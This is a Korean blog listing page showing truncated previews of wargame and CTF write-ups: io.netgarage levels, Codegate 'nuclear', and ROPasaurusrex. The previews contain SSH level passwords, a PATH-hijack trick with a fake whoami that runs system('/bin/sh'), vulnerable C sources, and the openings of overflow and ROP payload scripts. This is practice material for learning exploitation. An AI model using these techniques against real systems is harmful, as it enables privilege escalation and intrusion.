전체 글 (267) 썸네일형 리스트형 level04 ssh level4@io.netgarage.orgnSwmULj2LpDnRGU2 #include #include int main() { char username[1024]; FILE* f = popen("whoami","r"); fgets(username, sizeof(username), f); printf("Welcome %s", username); return 0;} 기본 bin 디렉토리 안의 whoami 를 내가 변조한 프로그램으로 실행시킬 수 있다면, 풀리는 문제이다. 환경변수 PATH를 조작함으로써 whoami 바이너리를 내가 만든 바이너리로 치환시킬 수 있다.(우선순위) cat /tmp/getflag/asdf.c#include main() { system("/bin/sh"); return 0;}.. level3 ssh level3@io.netgarage.orgIFd92yzOnSMv9tkX level3@io:/levels$ cat level03.c //bla, based on work by beach #include #include void good(){ puts("Win."); execl("/bin/sh", "sh", NULL);}void bad(){ printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);} int main(int argc, char **argv, char **envp){ void (*functionpointer)(void) = bad; char buffer[50]; if(argc != 2 || strlen(argv.. level02 ssh level2@io.netgarage.org3ywr07ZFw5IsdKzU level2@io:~$ cd /levelslevel2@io:/levels$ ./level02source code is available in level02.c level2@io:/levels$ cat level02.c //a little fun brought to you by bla #include #include #include #include void catcher(int a){ setresuid(geteuid(),geteuid(),geteuid());printf("WIN!\n"); system("/bin/sh"); exit(0);} int main(int argc, char **argv){puts("source code .. level01 ssh level1@io.netgarage.orgpassword: level1 서버가 굉장히 느리다. 로그인을 하면, /levels 디렉토리에서 자신의 레벨 파일을 실행시키면 된다.문제는 바이너리 형태로 제공되고 있는 것 같다. level1@io:/levels$ ./level01Enter the 3 digit passcode to enter: 123 처음 실행하면 세 숫자를 입력하라고 나오고 입력 후에는 꺼진다. gdb로 까보면 (gdb) disassemble mainDump of assembler code for function main: 0x08048080 :push $0x8049128 0x08048085 :call 0x804810f 0x0804808a :call 0x804809f 0x0804808f.. blackjack 보호되어 있는 글입니다. codegate junior nuclear shellstorm 에 바이너리 있음. start_routine 부분에 recv를 1298 이나 해버려서 bof가 일어난다. payload.py from socket import *from struct import * p=lambda x:pack(" 파일 디스크립터 0,1 : stdout / stdin2 : error3,4 : socket out / socket in ROPasaurusrex ROP 입문을 위해 ROP문제 중에서 가장 쉽다고 알려진 ROP사우루스 문제를 풀어보았다. 문제 자체는 매우 단순하다. read() 함수로 입력을 받고, (stdin) write() 함수로 "WIN" 을 출력해준다. (stdout) read() 에서 오버플로우가 발생한다. custom stack 은 .bss 영역이 8바이트밖에 없는 관계로 동적링크를 관리하는 .dynamic 에 커스텀 스택을 구성하였다. system 과 read 차이의 오프셋을 구해서 aslr 이 걸려있다고 생각하고 풀었다. 서버환경은 aslr 파일환경은 nx 이다. payload.py from socket import * from struct import * # file name is pro! p = lambda x : pack(" 이전 1 ··· 12 13 14 15 16 17 18 ··· 34 다음